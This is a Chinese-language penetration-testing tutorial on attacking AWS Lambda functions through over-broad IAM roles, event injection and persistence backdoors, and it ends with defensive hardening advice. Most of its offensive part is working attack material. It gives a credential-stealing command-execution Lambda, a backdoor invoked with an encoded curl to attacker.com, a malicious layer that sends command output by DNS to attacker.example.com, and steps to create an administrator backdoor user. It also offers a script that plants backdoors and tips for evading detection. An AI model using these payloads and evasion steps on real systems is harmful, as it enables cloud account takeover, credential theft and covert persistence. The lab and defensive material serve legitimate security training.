第一部分:开篇明义 —— 定义、价值与目标

定位与价值

云函数(在AWS中称为Lambda,Azure中称为Functions,Google Cloud中称为Cloud Functions)是无服务器计算的核心组件。它允许开发者在无需管理底层服务器的情况下运行代码,由云平台根据事件触发自动执行。在渗透测试和攻防对抗的视角下,云函数不仅是现代化的应用架构组件,更是一个极具战略价值的攻击面:由于其高权限身份、事件驱动特性以及云原生架构的复杂性,它成为了权限提升、横向移动和持久化驻留的绝佳载体。

本文将深入剖析云函数环境中的三大安全议题:权限滥用(基于过宽的IAM角色)、事件注入(通过精心构造的触发事件)和持久化后门(在无服务器环境中的隐蔽驻留技术)。理解这些攻击路径,对于云安全防御者构建有效检测方案,对于渗透测试人员评估云环境安全性,都具有关键意义。

学习目标

读完本文,你将能够:

  1. 阐述云函数的基本架构、执行上下文及其在云环境中的典型权限模型,理解其成为高价值攻击目标的原因。
  2. 利用云函数过宽的IAM角色进行权限提升和横向移动,演示从初始访问到完全控制云账户的完整攻击链。
  3. 分析并实施针对云函数的事件注入攻击,包括通过API Gateway、S3、CloudWatch Events等常见触发器投递恶意负载。
  4. 构建在云函数环境中的持久化后门机制,包括代码层、层(Layer)和配置层的隐蔽驻留技术。
  5. 设计并实施针对性的防御、检测与响应策略,涵盖开发、部署和运维全生命周期。

前置知识

· 基础云概念:了解AWS/Azure/GCP的核心服务(IAM、S3、EC2/VM等)。
· IAM权限模型:理解基于角色的访问控制(RBAC)和策略(Policy)的基本语法。
· 无服务器架构基础:熟悉函数即服务(FaaS)和事件驱动编程的概念。
· 基础渗透测试技能:具备基本的命令行操作和HTTP请求构造能力。


第二部分:原理深掘 —— 从“是什么”到“为什么”

核心定义与类比

云函数是一种事件驱动的无服务器计算服务。开发者上传代码(函数),配置触发器(如HTTP请求、文件上传、定时任务),云平台负责在事件发生时自动准备执行环境、运行代码并回收资源。

类比:将云函数想象成一个自动化工厂的机器人手臂。机器人(函数)被编程执行特定任务(代码)。各种传感器(触发器)可以激活它:传送带上的一个包裹(S3文件上传)、一个定时器响铃(CloudWatch定时事件)或一个控制面板的按钮(API Gateway HTTP请求)。工厂管理层(云平台)负责给机器人供电、提供工具(执行环境),并在任务完成后将其收起。然而,如果这个机器人被错误地授予了打开工厂所有门禁的钥匙(过宽IAM角色),或者传感器可以被欺骗传送一个伪装成包裹的破坏装置(恶意事件注入),又或者机器人的编程被暗中篡改以在每次任务中偷偷执行额外指令(持久化后门),那么整个工厂的安全将岌岌可危。

根本原因分析

云函数安全问题的根源是多层次的,根植于其设计哲学和运维复杂性:

  1. 权限模型的复杂性:
    · 设计初衷:云函数需要代表用户与其他云服务交互,因此必须被分配一个执行角色(Execution Role)。这个角色的权限决定了函数的能力边界。
    · 问题根源:在“快速上线”的开发文化下,管理员倾向于授予函数过宽的权限(如*通配符),遵循“最小权限原则”的实践不足。此外,角色信任关系配置错误可能导致权限跨账户滥用。
  2. 事件源的不可信性:
    · 设计初衷:云函数强调与各种云服务(S3, SQS, DynamoDB等)和外部服务(HTTP)的松耦合集成。任何这些服务产生的事件都能触发函数执行。
    · 问题根源:开发者往往默认事件源是受信任的,对输入数据的验证不足。攻击者可能控制或影响事件源(例如,上传一个恶意文件到S3),从而将恶意负载注入到函数执行流中。
  3. 无服务器架构的隐蔽性:
    · 设计初衷:无服务器抽象了服务器管理,让开发者专注于业务逻辑。
    · 问题根源:这种抽象也带来了安全可见性的降低。传统的基于主机日志、进程监控的检测手段失效。函数的代码、配置、依赖(层)都可能成为后门的载体,且由于其短暂的生命周期和事件触发的特性,恶意活动更难被持续追踪。

可视化核心机制

下图描绘了云函数的典型架构、攻击面(权限、事件注入、后门)及相应的攻击路径。这张图将作为全文的“锚点”。

底层云函数架构

攻击面与攻击路径

G3: 持久化后门

G2: 事件注入

G1: 权限滥用与横向移动

后门载体

攻击者

初始访问点

脆弱Web应用

泄露的访问密钥

恶意内部人员

通过过宽IAM角色提权

云函数攻击向量

枚举现有函数与角色

窃取函数代码/环境变量

通过过宽角色执行任意云操作
如: 创建EC2, 窃取S3数据

权限持久化: 创建后门用户/角色

控制或影响事件源

S3: 上传恶意文件

API Gateway: 发送恶意HTTP请求

CloudWatch Events: 注入恶意事件

SQS/SNS: 投递恶意消息

触发目标函数执行恶意逻辑

函数代码本身

函数层

环境变量/配置

外部代码仓库

在触发时建立反向Shell/C2连接
或窃取敏感数据

达成目标:
数据窃取/资源控制/持久化

事件触发器

云函数执行

执行角色 IAM Role

函数代码

依赖层 Layer

环境变量

运行时环境

G1

G2

G3


第三部分:实战演练 —— 从“为什么”到“怎么做”

环境与工具准备

演示环境

· 云平台:AWS (主要),相关概念适用于Azure Functions与Google Cloud Functions。
· 账户:使用一个专为安全测试创建的AWS账户。绝对不要在生产账户中进行测试。
· 区域:us-east-1

核心工具

  1. AWS CLI:命令行界面,用于与AWS服务交互。
    aws --version
    # aws-cli/2.13.0
    
  2. Pacu:针对AWS环境的开源渗透测试工具包。
    git clone https://github.com/RhinoSecurityLabs/pacu.git
    
  3. Lambda-Proxy / WeaponizedLambda:用于生成恶意Lambda函数Payload的工具。
  4. Netcat / Socat:用于建立反向Shell监听。
  5. jq:命令行JSON处理器。
    sudo apt-get install jq netcat socat
    

最小化实验环境搭建

我们使用CloudFormation模板快速搭建一个包含脆弱Lambda函数、S3桶和API Gateway的测试环境。

cloudformation-template.yaml:

AWSTemplateFormatVersion: '2010-09-09'
Description: 'Vulnerable Lambda Lab Environment'
Resources:
  # 1. 一个过宽权限的IAM角色
  VulnerableLambdaRole:
    Type: 'AWS::IAM::Role'
    Properties:
      AssumeRolePolicyDocument:
        Version: '2012-10-17'
        Statement:
          - Effect: 'Allow'
            Principal:
              Service: 'lambda.amazonaws.com'
            Action: 'sts:AssumeRole'
      Policies:
        - PolicyName: 'OverPrivilegedPolicy'
          PolicyDocument:
            Version: '2012-10-17'
            Statement:
              - Effect: 'Allow'
                Action: '*'
                Resource: '*'
  # 2. 一个脆弱的Lambda函数 (从S3读取文件并返回内容)
  VulnerableLambdaFunction:
    Type: 'AWS::Lambda::Function'
    Properties:
      FunctionName: 'vulnerable-data-processor'
      Runtime: 'python3.9'
      Handler: 'lambda_function.lambda_handler'
      Role: !GetAtt VulnerableLambdaRole.Arn
      Code:
        ZipFile: |
          import json
          import boto3
          import urllib.parse
          s3 = boto3.client('s3')
          def lambda_handler(event, context):
              # 危险:未验证或净化event['queryStringParameters']
              bucket = event.get('queryStringParameters', {}).get('bucket')
              key = urllib.parse.unquote_plus(event.get('queryStringParameters', {}).get('key', ''))
              try:
                  response = s3.get_object(Bucket=bucket, Key=key)
                  content = response['Body'].read().decode('utf-8')
                  return {
                      'statusCode': 200,
                      'body': json.dumps({'content': content[:500]}) # 限制输出长度
                  }
              except Exception as e:
                  return {'statusCode': 500, 'body': json.dumps({'error': str(e)})}
      Environment:
        Variables:
          SECRET_KEY: 'LabEnvironmentSecret123!' # 模拟敏感环境变量
      Timeout: 30
  # 3. 一个用于触发的S3桶
  VulnerableS3Bucket:
    Type: 'AWS::S3::Bucket'
    Properties:
      BucketName: !Sub 'vulnerable-bucket-${AWS::AccountId}'
      PublicAccessBlockConfiguration:
        BlockPublicAcls: true
        BlockPublicPolicy: true
        IgnorePublicAcls: true
        RestrictPublicBuckets: true
  # 4. 一个API Gateway REST API (触发Lambda)
  VulnerableApi:
    Type: 'AWS::ApiGateway::RestApi'
    Properties:
      Name: 'VulnerableDataApi'
  ApiResource:
    Type: 'AWS::ApiGateway::Resource'
    Properties:
      RestApiId: !Ref VulnerableApi
      ParentId: !GetAtt VulnerableApi.RootResourceId
      PathPart: 'getfile'
  ApiMethod:
    Type: 'AWS::ApiGateway::Method'
    Properties:
      RestApiId: !Ref VulnerableApi
      ResourceId: !Ref ApiResource
      HttpMethod: 'GET'
      AuthorizationType: 'NONE' # 危险:未授权
      Integration:
        Type: 'AWS_PROXY'
        IntegrationHttpMethod: 'POST'
        Uri: !Sub 'arn:aws:apigateway:${AWS::Region}:lambda:path/2015-03-31/functions/${VulnerableLambdaFunction.Arn}/invocations'
  ApiDeployment:
    Type: 'AWS::ApiGateway::Deployment'
    DependsOn: ApiMethod
    Properties:
      RestApiId: !Ref VulnerableApi
      StageName: 'prod'
  LambdaPermission:
    Type: 'AWS::Lambda::Permission'
    Properties:
      FunctionName: !Ref VulnerableLambdaFunction
      Action: 'lambda:InvokeFunction'
      Principal: 'apigateway.amazonaws.com'
      SourceArn: !Sub 'arn:aws:execute-api:${AWS::Region}:${AWS::AccountId}:${VulnerableApi}/*/GET/getfile'
Outputs:
  VulnerableLambdaFunctionArn:
    Description: 'The ARN of the vulnerable Lambda function'
    Value: !Ref VulnerableLambdaFunction
  VulnerableS3BucketName:
    Description: 'Name of the vulnerable S3 bucket'
    Value: !Ref VulnerableS3Bucket
  ApiEndpoint:
    Description: 'Endpoint URL for the vulnerable API'
    Value: !Sub 'https://${VulnerableApi}.execute-api.${AWS::Region}.amazonaws.com/prod/getfile'

部署命令:

# 1. 配置AWS CLI凭证 (使用测试账户)
aws configure

# 2. 创建CloudFormation堆栈
aws cloudformation create-stack \
  --stack-name LambdaPentestLab \
  --template-body file://cloudformation-template.yaml \
  --capabilities CAPABILITY_NAMED_IAM \
  --region us-east-1

# 3. 等待堆栈创建完成,获取输出
aws cloudformation describe-stacks \
  --stack-name LambdaPentestLab \
  --query 'Stacks[0].Outputs' \
  --region us-east-1 \
  --output table

记下输出的ApiEndpoint,VulnerableS3BucketName和VulnerableLambdaFunctionArn。

标准操作流程

阶段一:侦察与信息收集

在获得初步AWS凭证(例如,通过泄露的Access Key)后,第一步是收集关于Lambda函数的信息。

  1. 枚举Lambda函数和配置:
# 列出所有Lambda函数
aws lambda list-functions --region us-east-1 --output json | jq -r '.Functions[].FunctionName'

# 获取特定函数的详细配置,包括其执行角色ARN
FUNCTION_NAME="vulnerable-data-processor"
aws lambda get-function --function-name $FUNCTION_NAME --region us-east-1 --output json | jq -r '.Configuration.Role, .Configuration.Environment, .Configuration.Runtime'
  1. 分析IAM执行角色:
# 从函数配置中提取角色ARN
ROLE_ARN=$(aws lambda get-function --function-name $FUNCTION_NAME --region us-east-1 --query 'Configuration.Role' --output text)
echo $ROLE_ARN
# 类似:arn:aws:iam::123456789012:role/LambdaPentestLab-VulnerableLambdaRole-XXXXX

# 提取角色名称
ROLE_NAME=$(echo $ROLE_ARN | cut -d'/' -f2)

# 获取附加到该角色的内联和托管策略
aws iam list-attached-role-policies --role-name $ROLE_NAME --output json | jq -r '.AttachedPolicies[].PolicyArn'
aws iam list-role-policies --role-name $ROLE_NAME --output json | jq -r '.PolicyNames[]'

# 获取策略文档内容(示例:获取第一个内联策略)
INLINE_POLICY_NAME=$(aws iam list-role-policies --role-name $ROLE_NAME --query 'PolicyNames[0]' --output text)
aws iam get-role-policy --role-name $ROLE_NAME --policy-name $INLINE_POLICY_NAME --output json | jq '.PolicyDocument'

如果策略文档显示Action: “"和Resource: "”,则确认这是一个过宽权限的角色。

阶段二:权限滥用与横向移动

利用过宽的Lambda执行角色,我们可以执行任意AWS操作。

  1. 通过Lambda函数本身执行命令(原地利用):
    我们可以更新现有函数的代码,注入恶意逻辑,然后触发它。这利用了我们对函数配置的lambda:UpdateFunctionCode权限(包含在*中)。

首先,创建一个恶意Lambda函数代码包malicious_lambda.zip:

# malicious_lambda.py
import json, os, subprocess, boto3, base64, urllib.request

def lambda_handler(event, context):
    # 1. 窃取环境变量
    stolen_env = dict(os.environ)
    
    # 2. 尝试通过元数据服务窃取临时凭证 (如果函数运行在VPC中且有权限)
    metadata_token = None
    try:
        token_url = 'http://169.254.169.254/latest/api/token'
        req = urllib.request.Request(token_url, method='PUT', headers={'X-aws-ec2-metadata-token-ttl-seconds': '21600'})
        metadata_token = urllib.request.urlopen(req, timeout=2).read().decode()
    except: pass
    
    instance_creds = {}
    if metadata_token:
        try:
            role_name = urllib.request.urlopen(urllib.request.Request('http://169.254.169.254/latest/meta-data/iam/security-credentials/', headers={'X-aws-ec2-metadata-token': metadata_token}), timeout=2).read().decode()
            creds_url = f'http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}'
            instance_creds = json.loads(urllib.request.urlopen(urllib.request.Request(creds_url, headers={'X-aws-ec2-metadata-token': metadata_token}), timeout=2).read().decode())
        except: pass
    
    # 3. 执行传入的命令 (通过event)
    cmd = event.get('cmd', 'whoami')
    try:
        output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=10).decode()
    except Exception as e:
        output = str(e)
    
    # 4. 尝试将数据外传 (例如,上传到攻击者控制的S3)
    # 这里为了演示,我们仅将结果返回。在实际攻击中,可能通过DNS、HTTP或S3外传。
    return {
        'statusCode': 200,
        'body': json.dumps({
            'stolen_env': stolen_env,
            'instance_creds': instance_creds,
            'command_output': output
        }, default=str)
    }

打包并更新函数代码:

# 创建zip包 (确保只有python文件在根目录)
zip malicious_lambda.zip malicious_lambda.py

# 更新Lambda函数代码
aws lambda update-function-code --function-name $FUNCTION_NAME --zip-file fileb://malicious_lambda.zip --region us-east-1

# 通过调用测试验证
aws lambda invoke --function-name $FUNCTION_NAME --payload '{"cmd": "id; env | head -5"}' --region us-east-1 output.json && cat output.json | jq -r '.body | fromjson'

输出将显示环境变量和命令执行结果。

  1. 创建新的高权限Lambda函数作为后门(更隐蔽):
    直接修改现有函数可能触发告警。更好的方法是以当前身份(即Lambda执行角色的身份)创建一个新的、看似合法的函数。
# backdoor_lambda.py
import boto3, json, os, subprocess, http.client, urllib.parse

def lambda_handler(event, context):
    # 从加密的输入中获取指令
    # 这里使用简单的base64,实际可能使用KMS或预共享密钥
    encoded_cmd = event.get('encoded_cmd')
    if not encoded_cmd:
        return {'status': 'no command'}
    import base64
    try:
        cmd = base64.b64decode(encoded_cmd).decode()
    except:
        return {'status': 'decode error'}
    
    # 执行命令
    try:
        result = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=30).decode()
        exit_code = 0
    except subprocess.CalledProcessError as e:
        result = e.output.decode()
        exit_code = e.returncode
    except Exception as e:
        result = str(e)
        exit_code = 1
    
    # 将结果发送到外部C2 (模拟)
    # 实际攻击中,这里会是一个HTTP POST或DNS查询
    c2_host = os.environ.get('C2_HOST', 'example.com')
    # ... 外传代码 (略)
    
    return {
        'exit_code': exit_code,
        'result': result[:2000] # 限制长度
    }

创建新函数:

# 1. 打包代码
zip backdoor_lambda.zip backdoor_lambda.py

# 2. 创建新Lambda函数,复用现有的高权限角色
NEW_FUNC_NAME="monitoring-helper"
aws lambda create-function \
    --function-name $NEW_FUNC_NAME \
    --runtime python3.9 \
    --role $ROLE_ARN \
    --handler backdoor_lambda.lambda_handler \
    --zip-file fileb://backdoor_lambda.zip \
    --timeout 120 \
    --region us-east-1 \
    --environment Variables={C2_HOST=attacker-server.com}

# 3. 调用后门函数
aws lambda invoke --function-name $NEW_FUNC_NAME \
    --payload '{"encoded_cmd": "L2Jpbi9zaCAuYyAiZWNobyBIYWNrZWQ7IGN1cmwgaHR0cDovL2F0dGFja2VyLmNvbS8kKHdob2FtaSk7IHNsZWVwIDIiCg=="}' \
    --region us-east-1 output_backdoor.json
cat output_backdoor.json
# 命令是: /bin/sh -c "echo Hacked; curl http://attacker.com/$(whoami); sleep 2"
  1. 横向移动:从Lambda角色到账户完全控制:
    拥有*权限,我们可以创建新的IAM用户并附加管理员策略,实现持久化。
# 创建后门IAM用户
aws iam create-user --user-name BackupDeployUser

# 为用户创建控制台密码和访问密钥
aws iam create-login-profile --user-name BackupDeployUser --password 'VeryStr0ngP@ssw0rd!'
aws iam create-access-key --user-name BackupDeployUser --output json | tee backup_user_keys.json

# 将管理员策略直接附加给用户
aws iam attach-user-policy --user-name BackupDeployUser --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# 验证
aws iam list-attached-user-policies --user-name BackupDeployUser

现在,攻击者拥有了一个具有完全控制权限的持久性后门用户。

阶段三:事件注入攻击

如果无法直接修改函数代码,但能控制或影响其事件源,则可以进行事件注入。

  1. 通过API Gateway进行注入:
    我们的测试环境有一个未授权且输入未验证的API Gateway端点。
# 假设API端点是:https://xxxxxxxxxx.execute-api.us-east-1.amazonaws.com/prod/getfile

# 正常请求:读取我们S3桶里的文件
curl "https://xxxxxxxxxx.execute-api.us-east-1.amazonaws.com/prod/getfile?bucket=vulnerable-bucket-123456789012&key=test.txt"

# 攻击1:路径遍历,尝试读取Lambda环境变量(通过/proc/self/environ)
# 注意:这需要函数运行环境允许文件系统访问,且知道路径。实际上,更常见的是注入命令。
# 但由于我们的函数代码直接使用bucket和key参数,我们可以尝试读取其他S3资源(如果有权限)。
curl "https://xxxxxxxxxx.execute-api.us-east-1.amazonaws.com/prod/getfile?bucket=aws-lambda&key=us-east-1/xxxxxxx/configuration" 2>/dev/null | jq .

# 攻击2:如果函数代码使用了eval或os.system(糟糕的实践),则可能直接RCE。
# 我们的示例函数使用了boto3.get_object,相对安全。但如果代码是:
# exec(f"print('{event['input']}')"),那么注入'}); import os; os.system('rm -rf /'); # 将导致灾难。
  1. 通过S3事件注入:
    如果Lambda函数由S3事件(如s3:ObjectCreated)触发,且函数逻辑处理上传的文件,那么上传一个恶意文件可能导致意外行为。

首先,为我们的S3桶配置一个Lambda触发器(模拟):

# 添加S3事件通知配置到Lambda (需要s3:PutBucketNotification权限)
BUCKET_NAME=$(aws cloudformation describe-stacks --stack-name LambdaPentestLab --query "Stacks[0].Outputs[?OutputKey=='VulnerableS3BucketName'].OutputValue" --output text)
aws s3api put-bucket-notification-configuration \
    --bucket $BUCKET_NAME \
    --notification-configuration '{
        "LambdaFunctionConfigurations": [
            {
                "LambdaFunctionArn": "'$(aws lambda get-function --function-name $FUNCTION_NAME --query 'Configuration.FunctionArn' --output text)'",
                "Events": ["s3:ObjectCreated:*"],
                "Filter": {
                    "Key": {
                        "FilterRules": [{"Name": "suffix", "Value": ".txt"}]
                    }
                }
            }
        ]
    }'

现在,上传一个“正常”的文本文件,但内容可能是针对函数处理逻辑的恶意负载。例如,如果函数解析文件内容作为JSON并执行某些操作,我们可以上传包含恶意JSON的文件。

创建恶意文件malicious.txt:

{
  "action": "download",
  "url": "file:///etc/passwd",
  "output": "/tmp/passwd"
}

上传并触发Lambda:

echo '{"action": "download", "url": "file:///etc/passwd"}' > malicious.txt
aws s3 cp malicious.txt s3://$BUCKET_NAME/malicious.txt

如果函数逻辑是:if action == ‘download’: os.system(f’curl {url} -o {output}'),那么这将导致任意文件读取。在我们的示例函数中,它只是读取并返回文件内容,所以攻击效果有限,但说明了注入点。

阶段四:持久化后门技术

在云函数中建立持久化后门,需要确保在函数更新、重启甚至删除后,攻击者仍能保持访问。

  1. 代码层后门:
    如上所述,直接修改函数代码是最直接的,但也最容易被发现。可以将后门代码伪装成合法功能,例如“错误报告”、“性能监控”或“第三方库”。

  2. 层(Layer)后门:
    Lambda层是一种分发库、自定义运行时或其他依赖项的便捷方式。一个被入侵的层可以感染所有使用它的函数。

# 创建一个恶意层
mkdir -p layer/python
cd layer/python
cat << EOF > malicious_lib.py
import sys, os, subprocess, json

def hook():
    # 检查环境变量中是否有攻击指令
    cmd = os.environ.get('_MALICIOUS_CMD')
    if cmd:
        try:
            result = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=5).decode()
            # 通过DNS外传结果(简化示例)
            import socket
            # 将结果编码到子域名中
            encoded = result[:30].replace('.', '-').replace(' ', '-')
            socket.gethostbyname(f"{encoded}.attacker.example.com")
        except:
            pass

# 尝试在导入时或运行时执行钩子
if 'lambda_function' in sys.modules:
    hook()
EOF

# 创建层的zip
cd ..
zip -r9 ../malicious-layer.zip .

# 发布层
aws lambda publish-layer-version \
    --layer-name "common-utils" \
    --description "Common utilities for Lambda functions" \
    --zip-file fileb://malicious-layer.zip \
    --compatible-runtimes python3.8 python3.9 \
    --region us-east-1

LAYER_ARN=$(aws lambda publish-layer-version --layer-name "common-utils" --zip-file fileb://malicious-layer.zip --compatible-runtimes python3.8 python3.9 --query 'LayerVersionArn' --output text)

# 将该层附加到目标Lambda函数
aws lambda update-function-configuration \
    --function-name $FUNCTION_NAME \
    --layers $LAYER_ARN $(aws lambda get-function --function-name $FUNCTION_NAME --query 'Configuration.Layers[].Arn' --output text | tr '\n' ' ') \
    --region us-east-1

现在,每次函数执行时,malicious_lib.py都会被加载。如果环境变量_MALICIOUS_CMD被设置(攻击者可以通过更新函数配置来设置),恶意代码就会执行。

  1. 环境变量与配置后门:
    环境变量可以存储C2服务器地址、加密密钥或触发命令。攻击者可以更新函数配置,添加恶意的环境变量。
# 添加一个看起来无害的环境变量,实际是编码的C2配置
aws lambda update-function-configuration \
    --function-name $FUNCTION_NAME \
    --environment "Variables={SECRET_KEY=LabEnvironmentSecret123!,METRICS_ENDPOINT=https://legit-metrics.com,DEBUG_MODE=false,_C2=base64encodedconfig}" \
    --region us-east-1
  1. 外部依赖仓库后门:
    如果函数从公共或私有代码仓库(如PyPI、npm)拉取依赖,攻击者可以投毒特定包。例如,创建一个与流行包同名的恶意包(typosquatting),或者入侵一个广泛使用的开源库。

自动化与脚本

以下是一个简化的Python脚本,用于自动化发现过宽权限的Lambda函数并尝试利用。

#!/usr/bin/env python3
"""
Lambda权限审计与利用脚本
警告:仅用于授权测试环境。
"""
import boto3, json, zipfile, io, base64, time, argparse
from botocore.exceptions import ClientError

def get_lambda_functions(session, region):
    """获取指定区域所有Lambda函数列表"""
    lambda_client = session.client('lambda', region_name=region)
    functions = []
    paginator = lambda_client.get_paginator('list_functions')
    for page in paginator.paginate():
        functions.extend(page['Functions'])
    return functions

def analyze_role_permissions(session, role_arn):
    """分析IAM角色的权限"""
    iam = session.resource('iam')
    role_name = role_arn.split('/')[-1]
    role = iam.Role(role_name)
    
    policies = []
    # 附加的托管策略
    for attached in role.attached_policies.all():
        policies.append({'Type': 'Managed', 'Arn': attached.arn, 'Document': attached.default_version.document})
    # 内联策略
    for inline_name in role.policies.all():
        policies.append({'Type': 'Inline', 'Name': inline_name.name, 'Document': inline_name.policy_document})
    
    # 简单检查是否存在过于宽松的权限
    over_privileged = False
    for policy in policies:
        doc = policy['Document']
        for statement in doc.get('Statement', []):
            if isinstance(statement.get('Action', ''), str):
                actions = [statement['Action']]
            else:
                actions = statement.get('Action', [])
            if '*' in actions and statement.get('Effect') == 'Allow':
                if statement.get('Resource') == '*' or (isinstance(statement.get('Resource'), list) and '*' in statement['Resource']):
                    over_privileged = True
                    print(f"[!] 发现过宽权限策略: {policy.get('Name', policy.get('Arn'))}")
    return over_privileged, policies

def backdoor_function(session, function_name, region, c2_url):
    """尝试在Lambda函数中植入简单后门"""
    lambda_client = session.client('lambda', region_name=region)
    
    # 1. 获取当前配置和代码
    try:
        func = lambda_client.get_function(FunctionName=function_name)
    except ClientError as e:
        print(f"[-] 无法获取函数 {function_name}: {e}")
        return False
    
    # 2. 创建后门代码 (追加到现有处理程序)
    # 这里简化处理:实际应解析现有代码并插入钩子
    backdoor_code = f"""
import os, subprocess, urllib.request, json
_original_handler = lambda_handler

def lambda_handler(event, context):
    # 恶意钩子
    cmd = os.environ.get('_BACKDOOR_CMD')
    if cmd:
        try:
            result = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=10).decode()
            # 尝试外传 (简化)
            data = base64.b64encode(result.encode()).decode()
            # 在实际攻击中,这里会发送HTTP请求
            print(f"[Backdoor] Command executed: {{cmd}}")
        except Exception as e:
            print(f"[Backdoor] Error: {{e}}")
    
    # 调用原始处理程序
    return _original_handler(event, context)

# 替换全局处理程序
import sys
sys.modules[__name__].lambda_handler = lambda_handler
"""
    # 注意:直接修改代码需要更复杂的解析和打包。此处仅为示例框架。
    print(f"[*] 后门代码生成 (需手动集成到 {function_name})")
    print(backdoor_code[:500])
    return True

def main():
    parser = argparse.ArgumentParser(description='AWS Lambda权限审计与利用脚本')
    parser.add_argument('--profile', default='default', help='AWS CLI Profile')
    parser.add_argument('--region', default='us-east-1', help='AWS Region')
    parser.add_argument('--backdoor', action='store_true', help='尝试植入后门')
    parser.add_argument('--c2', default='http://attacker.example.com', help='C2服务器地址')
    args = parser.parse_args()
    
    session = boto3.Session(profile_name=args.profile, region_name=args.region)
    
    print(f"[*] 扫描区域 {args.region} 中的Lambda函数...")
    functions = get_lambda_functions(session, args.region)
    print(f"[+] 发现 {len(functions)} 个函数")
    
    vulnerable_funcs = []
    for func in functions:
        func_name = func['FunctionName']
        role_arn = func['Role']
        print(f"\n[*] 分析函数: {func_name}")
        print(f"    角色ARN: {role_arn}")
        
        over_priv, policies = analyze_role_permissions(session, role_arn)
        if over_priv:
            vulnerable_funcs.append(func_name)
            print(f"[!!!] 函数 {func_name} 使用过宽权限角色!")
            if args.backdoor:
                print(f"[*] 尝试植入后门...")
                backdoor_function(session, func_name, args.region, args.c2)
        else:
            print(f"[+] 角色权限似乎受限。")
    
    print(f"\n[*] 扫描完成。发现 {len(vulnerable_funcs)} 个潜在脆弱函数:")
    for vf in vulnerable_funcs:
        print(f"    - {vf}")

if __name__ == '__main__':
    main()

警告:此脚本仅为教育目的,演示自动化思路。在真实授权测试中,需要更精细的操作以避免破坏业务功能。

对抗性思考:绕过与进化

现代云安全工具(如AWS GuardDuty, Azure Defender)会检测异常Lambda活动,例如:

· 函数代码被从未见过的IP或用户修改。
· 函数调用来自异常地理位置。
· 函数执行时间异常长或产生大量网络流量。
· 函数角色尝试执行高风险操作(如iam:*, ec2:RunInstances)。

绕过思路:

  1. 时间延迟:后门代码只在特定时间或特定事件(如某特定用户触发)下激活。
  2. 隐蔽外传:使用DNS隧道、隐蔽的HTTP请求(模仿正常流量)或云服务内部通道(如通过SQS消息)外传数据,避免直接出站到可疑IP。
  3. 权限最小化利用:避免使用*权限,而是使用角色已有的、看似正常的权限进行横向移动(例如,如果角色有s3:GetObject,则窃取S3数据;如果有logs:CreateLogGroup,则创建日志组并插入恶意数据)。
  4. 无文件后门:不修改函数代码,而是利用层(Layer)或运行时启动脚本(如利用LD_PRELOAD)注入恶意代码。在Lambda中,这需要自定义运行时。
  5. 供应链攻击:如果目标通过CI/CD部署Lambda,攻击其代码仓库(Git)或构建管道(CodeBuild),使恶意代码在部署流程中“合法”地进入。

第四部分:防御建设 —— 从“怎么做”到“怎么防”

开发侧修复

  1. 遵循最小权限原则

危险模式(CloudFormation片段):

Policies:
  - PolicyName: 'OverPrivilegedPolicy'
    PolicyDocument:
      Version: '2012-10-17'
      Statement:
        - Effect: 'Allow'
          Action: '*'  # 通配符权限
          Resource: '*'

安全模式:

Policies:
  - PolicyName: 'LeastPrivilegeS3Read'
    PolicyDocument:
      Version: '2012-10-17'
      Statement:
        - Sid: 'AllowReadingFromSpecificBucket'
          Effect: 'Allow'
          Action:
            - 's3:GetObject'
            - 's3:GetObjectVersion'
          Resource: 'arn:aws:s3:::my-data-bucket/*'
        - Sid: 'AllowListingBucket'
          Effect: 'Allow'
          Action: 's3:ListBucket'
          Resource: 'arn:aws:s3:::my-data-bucket'
        - Sid: 'AllowWritingLogs'
          Effect: 'Allow'
          Action:
            - 'logs:CreateLogGroup'
            - 'logs:CreateLogStream'
            - 'logs:PutLogEvents'
          Resource: 'arn:aws:logs:*:*:*'

原理:精确声明函数所需的最小权限集合。使用IAM Policy Generator工具或策略验证工具(如iamlive)来捕获函数运行时的实际API调用。

  1. 输入验证与净化

危险模式(Python示例):

def lambda_handler(event, context):
    user_input = event['queryStringParameters']['filename']
    # 直接使用用户输入构造S3键
    s3_key = f"user-uploads/{user_input}"
    s3.get_object(Bucket=my_bucket, Key=s3_key)

安全模式:

import re, os
from urllib.parse import unquote_plus

def lambda_handler(event, context):
    user_input = event.get('queryStringParameters', {}).get('filename', '')
    if not user_input:
        return {'statusCode': 400, 'body': 'Missing filename'}
    
    # 1. 解码URL编码
    user_input = unquote_plus(user_input)
    
    # 2. 验证文件名格式 (白名单)
    if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_input):
        return {'statusCode': 400, 'body': 'Invalid filename'}
    
    # 3. 防止路径遍历
    basename = os.path.basename(user_input)
    if basename != user_input:
        return {'statusCode': 400, 'body': 'Path traversal attempt blocked'}
    
    # 4. 限制文件扩展名
    allowed_extensions = {'.txt', '.pdf', '.jpg'}
    if not any(user_input.endswith(ext) for ext in allowed_extensions):
        return {'statusCode': 400, 'body': 'File type not allowed'}
    
    s3_key = f"user-uploads/{user_input}"
    # ... 继续处理

原理:采用深度防御策略,结合白名单验证、规范化、路径遍历检查和业务逻辑限制。

  1. 安全依赖管理

· 使用锁文件:对于Python requirements.txt,使用pip freeze > requirements.txt并定期更新。对于Node.js,使用package-lock.json。
· 扫描依赖:在CI/CD流水线中集成软件成分分析(SCA)工具,如Snyk、OWASP Dependency-Check或GitHub Dependabot。
· 私有仓库:对于内部库,使用私有代码仓库(如CodeArtifact、私有PyPI/NPM),并严格控制发布权限。
· 签名与验证:对Lambda层和部署包进行数字签名,并在部署前验证签名。

运维侧加固

  1. IAM与资源配置

· 使用服务控制策略(SCPs):在AWS Organizations级别,使用SCPs限制整个账户或OU内的权限。例如,禁止为Lambda角色分配*权限。

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyWildcardForLambdaRoles",
      "Effect": "Deny",
      "Action": "iam:AttachRolePolicy",
      "Resource": "*",
      "Condition": {
        "StringLike": {
          "iam:PolicyArn": "arn:aws:iam::*:role/*lambda*"
        },
        "ForAnyValue:StringLike": {
          "iam:PolicyArn": ["*:*:*"]
        }
      }
    }
  ]
}

· 强制标签:要求所有Lambda函数必须有Owner、Environment、DataClassification等标签,便于基于标签的权限策略和监控。
